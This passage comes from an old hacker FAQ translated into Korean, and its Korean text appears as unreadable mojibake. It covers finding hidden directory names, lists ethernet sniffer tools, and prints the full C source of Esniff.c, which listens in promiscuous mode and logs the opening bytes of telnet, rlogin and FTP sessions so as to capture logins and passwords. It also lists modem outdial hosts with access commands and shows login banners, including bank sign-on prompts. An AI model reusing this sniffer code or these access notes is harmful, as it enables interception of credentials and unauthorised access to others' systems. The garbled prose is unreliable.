-q Forces printing of non-graphic characters in filenames as the

character ``?''.

-b Forces printing of non-graphic characters in the \ddd

notation, in octal.

¾Æ¸¶µµ °¡Àå À¯¿ëÇÑ µµ±¸´Â "ls -al filename"À» ¼öÇàÇÏ¿© ftp »çÀÌÆ®¿¡ ÀÖ´Â µð·ºÅ丮 À̸§À» ÀÚ½ÅÀÇ ±â°è¿¡ ÀúÀåÇÏ´Â °ÍÀÌ´Ù. ±×¸®°í³ª¼­ "cat -t -v -e filename"À» ¼öÇàÇÏ¿© ¾î¶² ÀÌ»óÇÑ ¹®ÀÚµéÀÌ µé¾î ÀÖ´ÂÁö º¼ ¼ö ÀÖ´Ù.

> catÀÇ man ÆäÀÌÁö¿¡ ´ÙÀ½°ú °°ÀÌ ¼³¸íµÇ¾î ÀÖ´Ù.

-v Causes non-printing characters (with the exception of tabs,

newlines, and form feeds) to be displayed. Control characters

are displayed as ^X (<Ctrl>x), where X is the key pressed with

the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The

<Del> character (octal 0177) is printed as ^?. Non-ASCII

characters (with the high bit set) are printed as -x, where

x is the character specified by the seven low order bits.

-t Causes tabs to be printed as ^I and form feeds as ^L. This

option is ignored if the -v option is not specified.

-e Causes a ``$'' character to be printed at the end of each line

(prior to the new-line). This option is ignored if the -v

option is not set.

¸¸ÀÏ µð·ºÅ丮 À̸§¿¡ <SPACE>³ª <TAB>ÀÌ µé¾î ÀÖ´Ù¸é µû¿ÈÇ¥ ¾È¿¡ µð·ºÅ丮 À̸§ Àüü¸¦ ³ÖÀ¸¸é µÈ´Ù. ¿¹¸¦ µé¾î

cd "..<TAB>"

IBM-PC¿¡¼­´Â ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ Ä¡±â À§Çؼ­ <ALT>Å°¸¦ ´©¸£°í ¼ýÀÚÆÇ¿¡ ÀÖ´Â ¼ýÀÚ¸¦ ´­·¯¼­ ASCII ¹øÈ£¿¡ ¸Â°Ô ³Ö¾îÁÖ¸é µÈ´Ù. <ALT>¸¦ ¶¼¸é È­¸é¿¡ Ư¼ö ¹®ÀÚ°¡ Ç¥½ÃµÈ´Ù. ASCIIÇ¥¸¦ ÀÌ¿ëÇϸé Æí¸®ÇÏ´Ù.

¶§¶§·Î »ç¶÷µéÀº Ç¥ÁØ stty ÄÁÆ®·Ñ ¹®ÀÚ¸¦ °¡Áö°í µð·ºÅ丮 À̸§À» ¸¸µç´Ù. ^Z(ÀϽÃÁ¤Áö), ^C(intr)°ú °°Àº. ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ Æ÷ÇÔÇÏ´Â µð·ºÅ丮¿¡ µé¾î°¡±â À§Çؼ­´Â »ç¿ëÀÚ sttyÀÇ ÄÁÆ®·Ñ ¹®ÀÚ¸¦ ´Ù¸¥ °ÍÀ¸·Î ¼³Á¤ÇØ¾ß ÇÑ´Ù.

> sttyÀÇ man ÆäÀÌÁö¿¡ ´ÙÀ½°ú °°ÀÌ ¼³¸íµÇ¾î ÀÖ´Ù.

Control assignments

control-character C

Sets control-character to C, where control-character is

erase, kill, intr (interrupt), quit, eof, eol, swtch

(switch), start, stop or susp.

start and stop are available as possible control char-

acters for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the

shell), then the value used is the corresponding con-

trol character (for example, ^D is a <Ctrl>d; ^? is

interpreted as DELETE and ^- is interpreted as unde-

fined).

stty -a ¸í·ÉÀ» ÀÌ¿ëÇؼ­ sttyÀÇ ÇöÀç ¼³Á¤ÀÌ ¾î¶»°Ô µÇ¾î ÀÖ´ÂÁö ¾Ë¼ö ÀÖ´Ù. ±×¸®°í ¾î¶² °ÍÀÌ ¹®Á¦¸¦ ÀÏÀ¸Å°°í ÀÖ´ÂÁö ¾Ë ¼ö ÀÖ´Ù.

ÀÌ´õ³Ý ¿³º¸±â(ethernet sniffing)¶õ ¹«¾ùÀΰ¡?

ÀÌ´õ³Ý ÈÉÃ帱â´Â (¼ÒÇÁÆ®¿þ¾î¸¦ ÀÌ¿ëÇÏ¿©) Èï¹Ì¸¦ ²ô´Â ÆÐŶÀ» raw ÀÌ´õ³Ý ÀåÄ¡¸¦ ÅëÇؼ­ ÇÏ°Ô µÈ´Ù. ¤¼Á¤ Á¶°Ç¿¡ ¸Â´Â ÆÐŶÀ» ¼ÒÇÁÆ®¿þ¾î¿¡¼­ ¹ß°ßÇϸé, ÆÄÀÏ¿¡ ÀúÀåÇÑ´Ù. À¯¿ëÇÑ ÆÐŶ¿¡ ´ëÇÑ ÀÏ»óÀûÀÎ ±âÁØÀ¸·Î´Â "login"À̳ª "password"¿Í °°Àº ´Ü¾î¸¦ Æ÷ÇÔÇÏ´Â °ÍÀÌ´Ù.

¸¹Àº ÀÌ´õ³Ý ÈÉÃ帱â ÇÁ·Î±×·¥ÀÌ ÀÖ´Ù. ¿¹¸¦ µé¸é ´ÙÀ½°ú °°´Ù.

OS Sniffer

~~ ~~~~~~~

4.3/4.4 BSD tcpdump /* Available via anonymous ftp */

FreeBSD tcpdump /* Available via anonymous ftp at */

/* gatekeeper.dec.com

/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */

NetBSD tcpdump /* Available via anonymous ftp at */

/* gatekeeper.dec.com

/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */

DEC Unix tcpdump /* Available via anonymous ftp */

DEC Ultrix tcpdump /* Available via anonymous ftp */

HP/UX nettl (monitor)

& netfmt (display)

nfswatch /* Available via anonymous ftp */

Linux tcpdump /* Available via anonymous ftp at */

/* sunsite.unc.edu */

/* /pub/Linux/system/Network/management/ */

SGI Irix nfswatch /* Available via anonymous ftp */

Etherman

tcpdump /* Available via anonymous ftp */

Solaris snoop

tcpdump

SunOS etherfind

nfswatch /* Available via anonymous ftp */

tcpdump /* Available via anonymous ftp */

DOS ETHLOAD /* Available via anonymous ftp as */

/* ethld104.zip */

The Gobbler /* Available via anonymous ftp */

LanPatrol

LanWatch

Netmon

Netwatch

Netzhack /* Available via anonymous ftp at */

/* mistress.informatik.unibw-muenchen.de */

/* /pub/netzhack.mac */

Macintosh Etherpeek

¿©±â¿¡ ¿¹Á¦ Äڵ尡 ÀÖ´Ù.

/* Esniff.c */

#include <stdio.h>

#include <ctype.h>

#include <string.h>

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stropts.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <net/nit_if.h>

#include <net/nit_buf.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#include <arpa/inet.h>

#define ERR stderr

char *malloc();

char *device,

*ProgName,

*LogName;

FILE *LOG;

int debug=0;

#define NIT_DEV "/dev/nit"

#define CHUNKSIZE 4096 /* device buffer size */

int if_fd = -1;

int Packet[CHUNKSIZE+32];

void Pexit(err,msg)

int err; char *msg;

{ perror(msg);

exit(err); }

void Zexit(err,msg)

int err; char *msg;

{ fprintf(ERR,msg);

exit(err); }

#define IP ((struct ip *)Packet)

#define IP_OFFSET (0x1FFF)

#define SZETH (sizeof(struct ether_header))

#define IPLEN (ntohs(ip->ip_len))

#define IPHLEN (ip->ip_hl)

#define TCPOFF (tcph->th_off)

#define IPS (ip->ip_src)

#define IPD (ip->ip_dst)

#define TCPS (tcph->th_sport)

#define TCPD (tcph->th_dport)

#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)

time_t LastTIME = 0;

struct CREC {

struct CREC *Next,

*Last;

time_t Time; /* start time */

struct in_addr SRCip,

DSTip;

u_int SRCport, /* src/dst ports */

DSTport;

u_char Data[MAXBUFLEN+2]; /* important stuff :-) */

u_int Length; /* current data length */

u_int PKcnt; /* # pkts */

u_long LASTseq;

};

struct CREC *CLroot = NULL;

char *Symaddr(ip)

register struct in_addr ip;

{ register struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );

}

char *TCPflags(flgs)

register u_char flgs;

{ static char iobuf[8];

#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');

SFL(1,TH_SYN, 'S');

SFL(2,TH_RST, 'R');

SFL(3,TH_PUSH,'P');

SFL(4,TH_ACK, 'A');

SFL(5,TH_URG, 'U');

iobuf[6]=0;

return(iobuf);

}

char *SERVp(port)

register u_int port;

{ static char buf[10];

register char *p;

switch(port) {

case IPPORT_LOGINSERVER: p="rlogin"; break;

case IPPORT_TELNET: p="telnet"; break;

case IPPORT_SMTP: p="smtp"; break;

case IPPORT_FTP: p="ftp"; break;

default: sprintf(buf,"%u",port); p=buf; break;

}

return(p);

}

char *Ptm(t)

register time_t *t;

{ register char *p = ctime(t);

p[strlen(p)-6]=0; /* strip " YYYY\n" */

return(p);

}

char *NOWtm()

{ time_t tm;

time(&tm);

return( Ptm(&tm) );

}

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \

register struct CREC *CLtmp = \

(struct CREC *)malloc(sizeof(struct CREC)); \

time( &(CLtmp->Time) ); \

CLtmp->SRCip.s_addr = SIP.s_addr; \

CLtmp->DSTip.s_addr = DIP.s_addr; \

CLtmp->SRCport = SPORT; \

CLtmp->DSTport = DPORT; \

CLtmp->Length = MIN(LEN,MAXBUFLEN); \

bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \

CLtmp->PKcnt = 1; \

CLtmp->Next = CLroot; \

CLtmp->Last = NULL; \

CLroot = CLtmp; \

}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)

register struct in_addr Sip,Dip;

register u_int SP,DP;

{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {

if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&

IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )

break;

CLr = CLr->Next;

}

return(CLr);

}

#define ADDDATA_NODE(CL,DATA,LEN) { \

bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \

CL->Length += LEN; \

}

#define PR_DATA(dp,ln) { \

register u_char lastc=0; \

while(ln-- >0) { \

if(*dp < 32) { \

switch(*dp) { \

case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \

break; \

case '\r': \

case '\n': fprintf(LOG,"\n : "); \

break; \

default : fprintf(LOG,"^%c", (*dp + 64)); \

break; \

} \

} else { \

if(isprint(*dp)) fputc(*dp,LOG); \

else fprintf(LOG,"(%d)",*dp); \

} \

lastc = *dp++; \

} \

fflush(LOG); \

}

void END_NODE(CLe,d,dl,msg)

register struct CREC *CLe;

register u_char *d;

register int dl;

register char *msg;

{

fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));

fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));

fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));

fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",

NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);

fprintf(LOG," DATA: ");

{ register u_int i = CLe->Length;

register u_char *p = CLe->Data;

PR_DATA(p,i);

PR_DATA(d,dl);

}

fprintf(LOG,"\n-- \n");

fflush(LOG);

if(CLe->Next != NULL)

CLe->Next->Last = CLe->Last;

if(CLe->Last != NULL)

CLe->Last->Next = CLe->Next;

else

CLroot = CLe->Next;

free(CLe);

}

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE() { \

time_t tm; \

time(&tm); \

if(LastTIME<tm) { \

register struct CREC *CLe,*CLt = CLroot; \

LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \

while(CLe=CLt) { \

CLt=CLe->Next; \

if(CLe->Time <tm) \

END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \

} \

} \

}

void filter(cp, pktlen)

register char *cp;

register u_int pktlen;

{

register struct ip *ip;

register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

if(EtherType < 0x600) {

EtherType = *(u_short *)(cp + SZETH + 6);

cp+=8; pktlen-=8;

}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

return;

}

/* ugh, gotta do an alignment :-( */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;

if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||

(TCPD == IPPORT_LOGINSERVER) ||

(TCPD == IPPORT_FTP)

)) return;

{ register struct CREC *CLm;

register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));

register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);

fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));

fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));

}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)

if( (CLm->Length + length) < MAXBUFLEN ) {

ADDDATA_NODE( CLm, p,length);

} else {

END_NODE( CLm, p,length, "DATA LIMIT");

}

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );

}

} else {

if(TCPFL(TH_SYN)) {

ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

}

IDLE_NODE();

}

}

/* signal handler

*/

void death()

{ register struct CREC *CLe;

while(CLe=CLroot)

END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm());

fflush(LOG);

if(LOG != stdout)

fclose(LOG);

exit(1);

}

/* opens network interface, performs ioctls and reads from it,

* passing data to filter function

*/

void do_it()

{

int cc;

char *buf;

u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))

Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */

{

struct strioctl si;

struct ifreq ifr;

struct timeval timeout;

u_int chunksize = CHUNKSIZE;

u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)

Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)

Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)

Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;

timeout.tv_usec = 0;

si.ic_cmd = NIOCSTIME;

si.ic_len = sizeof(timeout);

si.ic_dp = (char *)&timeout;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;

si.ic_len = sizeof(chunksize);

si.ic_dp = (char *)&chunksize;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';

si.ic_cmd = NIOCBIND;

si.ic_len = sizeof(ifr);

si.ic_dp = (char *)&ifr;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;

si.ic_len = sizeof(if_flags);

si.ic_dp = (char *)&if_flags;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)

Pexit(1,"Eth: ioctl (I_FLUSH)");

}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {

register char *bp = buf,

*bufstop = (buf + cc);

while (bp < bufstop) {

register char *cp = bp;

register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;

cp += sizeof(struct nit_bufhdr);

bp += hdrp->nhb_totlen;

filter(cp, (u_long)hdrp->nhb_msglen);

}

}

Pexit((-1),"Eth: read");

}

/* Authorize your program, generate your own password and uncomment here */

/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprintf(prmpt,"(%s)UP? ",ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

*/

void main(argc, argv)

int argc;

char **argv;

{

char cbuf[BUFSIZ];

struct ifconf ifc;

int s,

ac=1,

backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;

device=NULL;

while((ac<argc) && (argv[ac][0] == '-')) {

register char ch = argv[ac++][1];

switch(toupper(ch)) {

case 'I': device=argv[ac++];

break;

case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))

Zexit(1,"Output file cant be opened\n");

break;

case 'B': backg=1;

break;

case 'D': debug=1;

break;

default : fprintf(ERR,

"Usage: %s [-b] [-d] [-i interface] [-f file]\n",

ProgName);

exit(1);

}

}

if(!device) {

if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)

Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);

ifc.ifc_buf = cbuf;

if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)

Pexit(1,"Eth: ioctl");

close(s);

device = ifc.ifc_req->ifr_name;

}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);

fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",

(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)

LOG=stdout;

signal(SIGINT, death);

signal(SIGTERM,death);

signal(SIGKILL,death);

signal(SIGQUIT,death);

if(backg && debug) {

fprintf(ERR,"[Cannot bg with debug on]\n");

backg=0;

}

if(backg) {

register int s;

if((s=fork())>0) {

fprintf(ERR,"[pid %d]\n",s);

exit(0);

} else if(s<0)

Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) {

ioctl(s,TIOCNOTTY,(char *)NULL);

close(s);

}

}

fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());

fflush(LOG);

do_it();

}


ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾ó(Internet Outdial)À̶õ?

ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾óÀ̶õ ÀÎÅͳݿ¡ ¿¬°áµÈ ¸ðµ©À¸·Î ±×°÷¿¡ ¿¬°áÇÏ¿© ´Ù¸¥ °÷À¸·Î ÀüÈ­¸¦ ÇÒ ¼ö ÀÖÀº °ÍÀÌ´Ù. Á¤»óÀûÀÎ ¾Æ¿ô´ÙÀ̾óÀº Áö¿ª ¹øÈ£¸¸À» È£ÃâÇÑ´Ù. GOD(Global OutDial)Àº Àå°Å¸® ÀüÈ­À» ÇÒ ¼ö ÀÖ´Ù. ¾Æ¿ô´ÙÀ̾óÀº Àå°Å¸® BBS¸¦ È£ÃâÇÒ ¼ö ÀÖ´Â °ª½Ñ ¹æ¹ýÀÌ´Ù.


ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾óÀº ¾îµð¿¡ ÀÖ³ª?

ÀÌ FAQ´Â CoTNo #5¿¡¼­ »Ì¾Æ¿Â °ÍÀÌ´Ù.

ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾ó ¸ñ·Ï v3.0

¼Ò°³

¿ä»õ ÀÎÅͳݿ¡ µ¹¾Æ ´Ù´Ï´Â ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾óÀÇ ¸ñ·ÏÀÌ ¸î°¡Áö ÀÖ´Ù. ´ÙÀ½¿¡ ³ª¿À´Â °ÍÀº v 2.0°ú ´Ù¸¥ ¸ñ·ÏµéÀ» ÇÕÄ£ °ÍÀÌ´Ù. ´Ù¸¥ »ç¶÷µéÀÇ °ÍÀ» ±×³É ½ÇÀº ´Ù¸¥ ¸ñ·Ï°ú´Â ´Þ¸® ¿ì¸®´Â ¾É¾Æ¼­ Çϳª¾¿ ¸ðµÎ Å×½ºÆ®¸¦ Çß´Ù. ¸î¸îÀº "Á¢¼Ó°ÅºÎ" ¶Ç´Â Á¢¼ÓÀ» ½ÃµµÇÒ ¶§ ½Ã°£ÃÊ°ú¿¡ °É¸®±âµµ Çß´Ù. ÀÌ·± °ÍµéÀº Á×Àº °ÍÀ¸·Î Çß´Ù.

Working Outdials

----------------

as of 12/29/94

NPA IP Address Instructions

--- ---------- ------------

215 isn.upenn.edu modem

217 dialout.cecer.army.mil atdt x,xxxXXXXX

218 modem.d.umn.edu atdt9,xxxXXXX

303 yuma.acns.colostate.edu 3020

412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt

412 gate.cis.pitt.edu tn3270,

connect dialout.pitt.edu,

atdtxxxXXXX

413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx

502 outdial.louisville.edu

502 uknet.uky.edu connect kecnet

@ dial: "outdial2400 or out"

602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy

614 ns2400.acs.ohio-state.edu

614 ns9600.acs.ohio-state.edu

713 128.249.27.153 atdt x,xxxXXXX

714 modem.nts.uci.edu atdt[area]0[phone]

804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx

804 ublan2.acc.virginia.edu connect telnet

connect hayes

Need Password

-------------

206 rexair.cac.washington.edu This is an unbroken password

303 yuma.ACNS.ColoState.EDU login: modem

404 128.140.1.239 .modem8|CR

415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"

514 cartier.CC.UMontreal.CA externe,9+number

703 wal-3000.cns.vt.edu dial2400 -aa

Dead/No Connect

---------------

201 idsnet

202 modem.aidt.edu

204 dial.cc.umanitoba.ca

204 umnet.cc.manitoba.ca "dial12" or "dial24"

206 dialout24.cac.washington.edu

207 modem-o.caps.maine.edu

212 B719-7e.NYU.EDU dial3/dial12/dial24

212 B719-7f.NYU.EDU dial3/dial12/dial24

212 DIALOUT-1.NYU.EDU dial3/dial12/dial24

212 FREE-138-229.NYU.EDU dial3/dial12/dial24

212 UP19-4b.NYU.EDU dial3/dial12/dial24

215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"

218 aa28.d.umn.edu "cli" "rlogin modem"

at "login:" type "modem"

218 modem.d.umn.edu Hayes 9,XXX-XXXX

301 dial9600.umd.edu

305 alcat.library.nova.edu

305 office.cis.ufl.edu

307 modem.uwyo.edu Hayes 0,XXX-XXXX

313 35.1.1.6 dial2400-aa or dial1200-aa

or dialout

402 dialin.creighton.edu

402 modem.criegthon.edu

404 broadband.cc.emory.edu ".modem8" or ".dialout"

408 dialout.scu.edu

408 dialout1200.scu.edu

408 dialout2400.scu.edu

408 dialout9600.scu.edu

413 dialout.smith.edu

414 modems.uwp.edu

416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx

416 pacx.utcs.utoronto.ca modem

503 dialout.uvm.edu

513 dialout24.afit.af.mil

513 r596adi1.uc.edu

514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx

517 engdial.cl.msu.edu

602 dial9600.telcom.arizona.edu

603 dialout1200.unh.edu

604 dial24-nc00.net.ubc.ca

604 dial24-nc01.net.ubc.ca

604 dial96-np65.net.ubc.ca

604 gmodem.capcollege.bc.ca

604 hmodem.capcollege.bc.ca

609 128.119.131.11X (X= 1 - 4) Hayes

609 129.119.131.11x (x = 1 to 4)

609 wright-modem-1.rutgers.edu

609 wright-modem-2.rutgers.edu

612 modem_out12e7.atk.com

612 modem_out24n8.atk.com

614 ns2400.ircc.ohio-state.edu "dial"

615 dca.utk.edu dial2400 D 99k #

615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx

616 modem.calvin.edu

617 128.52.30.3 2400baud

617 dialout.lcs.mit.edu

617 dialout1.princeton.edu

617 isdn3.Princeton.EDU

617 jadwingymkip0.Princeton.EDU

617 lord-stanley.Princeton.EDU

617 mpanus.Princeton.EDU

617 mrmodem.wellesley.edu

617 old-dialout.Princeton.EDU

617 stagger.Princeton.EDU

617 sunshine-02.lcs.mit.edu

617 waddle.Princeton.EDU

619 128.54.30.1 atdt [area][phone]

619 dialin.ucsd.edu "dialout"

703 modem_pool.runet.edu

703 wal-3000.cns.vt.edu

713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"

or "Hayes"

713 modem12.bcm.tmc.edu

713 modem24.bcm.tmc.edu

713 modem24.bcm.tmc.edu

714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx

714 modem24.nts.uci.edu

714 pub-gopher.cwis.uci.edu

801 dswitch.byu.edu "C Modem"

808 irmodem.ifa.hawaii.edu

902 star.ccs.tuns.ca "dialout"

916 129.137.33.72

916 cc-dnet.ucdavis.edu connect hayes/dialout

916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>

??? 128.119.131.11X (1 - 4)

??? 128.200.142.5

??? 128.54.30.1 nue, X to discontinue, ? for Help

??? 128.6.1.41

??? 128.6.1.42

??? 129.137.33.72

??? 129.180.1.57

??? 140.112.3.2 ntu <none>

??? annexdial.rz.uni-duesseldorf.de

??? dial96.ncl.ac.uk

??? dialout.plk.af.mil

??? ee21.ee.ncu.edu.tw cs8005

??? im.mgt.ncu.edu.tw guest <none>

??? modem.cis.uflu.edu

??? modem.ireq.hydro.qc.ca

??? modems.csuohio.edu

??? sparc20.ncu.edu.tw u349633

??? sun2cc.nccu.edu.tw ?

??? ts-modem.une.oz.au

??? twncu865.ncu.edu.tw guest <none>

??? vtnet1.cns.ut.edu "CALL" or "call"

°á·Ð

Á×Àº ¾Æ¿ô´ÙÀ̾óÀ» ¹ß°ßÇϰųª, ¸í·ÉÀÌ ¹Ù²î¾ú°Å³ª, Æнº¿öµå¸¦ ¿ä±¸Çϰųª Çϸé, ¿ì¸®¿¡°Ô ¿¬¶ôÇÏ¿© ¸ñ·ÏÀÌ µÇµµ·Ï Á¤È®ÇÏ°Ô ÇÒ ¼ö ÀÖµµ·Ï ÇØ Áֱ⠹ٶõ´Ù. ¸ñ·Ï¿¡ Ãß°¡ÇÏ°í ½ÍÀº °ÍÀÌ ÀÖ´Ù¸é ¿ì¸®¿¡°Ô ¸ÞÀÏÀ» º¸³»¸é ´ÙÀ½ ¹öÀüÀÇ ¸ð·ÏÀÌ ³ª¿Ã ¶§, ÀÚ½ÅÀÇ À̸§À» ¿·¿¡ ³Ö¾î¼­ ³ª¿Àµµ·Ï ÇÏ°Ú´Ù. Áñ°Ì°Ô ÀÌ¿ëÇϱ⸦ ....

[ÆíÁýÀÚ ÁÖ: ¿ø·¡ ÃâÆÇÀÌÈÄ¿¡ ÀÌ ¹®¼­°¡ °»½ÅµÇ¾ú´Ù]


ÀÌ ½Ã½ºÅÛÀº ¹«¾ùÀΰ¡?

AIX

~~~

IBM AIX Version 3 for RISC System/6000

(C) Copyrights by IBM and by others 1982, 1990.

login:

[AIX ½Ã½ºÅÛÀº ½±°Ô ¾Ë ¼ö Àִµ¥, È­¸éÀ» Áö¿ì°í ·Î±×ÀÎ ÇÁ·ÒÇÁÆ®¸¦ È­¸é ¹Ø¿¡]

[Ç¥½ÃÇÏ´Â À¯ÀÏÇÑ UnixÀ̱⠶§¹®ÀÌ´Ù.]

AS/400

~~~~~~

UserID?

Password?

Once in, type GO MAIN

CDC Cyber

~~~~~~~~~

WELCOME TO THE NOS SOFTWARE SYSTEM.

COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100

CSUS CYBER 170-730. NOS 2.5.2-678/3.

FAMILY:

Æйи® ÇÁ·ÒÇÁÆ®¿¡¼­ ´ÜÁö ¸®Åϸ¸À» Ä¡¸é ´ç¹Ç ÇÁ·ÒÇÁÆ®°¡ ´ÙÀ½°ú °°ÀÌ ³ªÅ¸³­´Ù.

USER NAME:

CISCO Router

~~~~~~~~~~~~

FIRST BANK OF TNO

95-866 TNO VirtualBank

REMOTE Router - TN043R1

Console Port

SN - 00000866

TN043R1>

DECserver

~~~~~~~~~

DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1

DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

µµ¿ò¸»ÀÌ ÇÊ¿äÇϸé HELP¸¦ Ä£´Ù.

Enter username> TNO

Local>

Hewlett Packard MPE-XL

~~~~~~~~~~~~~~~~~~~~~~

MPE XL:

EXPECTED A :HELLO COMMAND. (CIERR 6057)

MPE XL:

EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)

MPE XL:

GTN

~~~

WELCOME TO CITIBANK. PLEASE SIGN ON.

XXXXXXXX

@

PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->

PLEASE ENTER YOUR PASSWORD:-2->

